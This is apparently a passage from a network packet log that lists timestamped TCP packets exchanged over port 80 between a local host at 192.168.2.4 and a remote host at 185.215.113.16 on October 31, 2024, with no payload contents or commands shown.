Oct 31, 2024 04:16:09.764770985 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764794111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764808893 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764813900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764830112 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764831066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764847040 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764851093 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764863968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764870882 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764883995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764888048 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764908075 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764914036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764929056 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764930010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764946938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764951944 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764964104 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764966965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764980078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764986992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764997959 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765002012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765022039 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765033960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765038013 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765054941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765069962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765084982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765093088 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765100002 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765115976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765122890 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765130997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765139103 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765153885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765166998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765168905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765186071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765192986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765213966 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765219927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765237093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765244961 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765249968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765264988 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765264988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765281916 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765289068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765289068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765305042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765330076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765575886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765592098 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765610933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765625954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765633106 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765649080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765652895 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765665054 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765682936 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765697956 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765705109 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765713930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765724897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765729904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765749931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765763998 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765774012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765779018 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765793085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765804052 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765808105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765813112 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765824080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765825987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765841007 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765849113 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765858889 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765861034 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765872955 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765877962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765893936 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765908957 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765913010 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765925884 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765940905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765942097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765955925 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765965939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765970945 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765974045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.765985966 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.765994072 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766002893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766012907 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766017914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766026974 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766033888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766040087 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766050100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766057968 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766068935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766074896 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766084909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766084909 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766108990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766113997 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766119957 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766134977 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766149044 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766165018 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766170025 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766181946 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766189098 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766196012 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766218901 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766218901 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766243935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766293049 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766323090 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766330004 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766340017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766367912 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.766388893 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.766422987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.833952904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834053993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834069014 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834084034 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834099054 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834121943 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834132910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834148884 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834155083 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834161997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834172964 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834182978 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834193945 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834201097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834228992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834247112 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834474087 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834533930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834573030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834582090 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834589958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834609985 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834613085 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834635973 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834641933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834656954 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834662914 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834691048 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834727049 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834742069 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834753036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834759951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834770918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834777117 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834791899 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834800959 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834824085 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834852934 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834870100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834884882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834897995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834912062 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834927082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.834929943 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834954023 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.834980011 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835007906 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835033894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835056067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835057974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835072994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835073948 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835093975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835098028 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835114002 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835115910 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835133076 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835135937 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835138083 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835145950 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835172892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835185051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835205078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835221052 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835235119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835251093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835261106 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835264921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835290909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835293055 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835305929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835299969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835335016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835350037 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835350990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835366011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835383892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835393906 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835407019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835414886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835427999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835427999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835453987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835454941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835478067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835478067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835494995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835500002 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835514069 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835521936 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835541964 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835552931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835556030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835589886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835602045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835603952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835632086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835638046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835640907 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835654020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835669041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835685015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835700035 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835705042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835717916 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835724115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835731030 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835768938 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835856915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835872889 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835886955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835907936 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835915089 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835938931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835947990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835963011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835978031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.835988045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.835999966 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.836023092 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.879797935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.879825115 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.879839897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.879870892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.879894972 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880259037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880274057 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880289078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880306959 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880310059 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880328894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880341053 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880351067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880357027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880373001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880378962 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880389929 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880393982 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880408049 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880429029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880449057 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880464077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880477905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880486965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880516052 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880516052 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880582094 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880625963 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880642891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880665064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880702019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880705118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880705118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880721092 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880728960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880789995 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880794048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880809069 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880822897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880832911 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880839109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880844116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880855083 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880870104 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880870104 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880887032 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.880940914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880955935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880971909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.880985975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881000996 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881002903 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881026983 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881031990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881047010 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881094933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881102085 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881110907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881127119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881140947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881150961 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881150961 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881155968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881158113 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881174088 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881179094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881196976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881213903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881233931 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881249905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881273031 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881290913 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881341934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881359100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881376028 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881381989 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881386995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881387949 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881396055 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881396055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881417990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881439924 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881483078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881496906 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881521940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881522894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881541014 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881547928 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881550074 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881566048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881582022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881597996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881603003 CET	49814	80	192.168.2.4	185.215.113.16
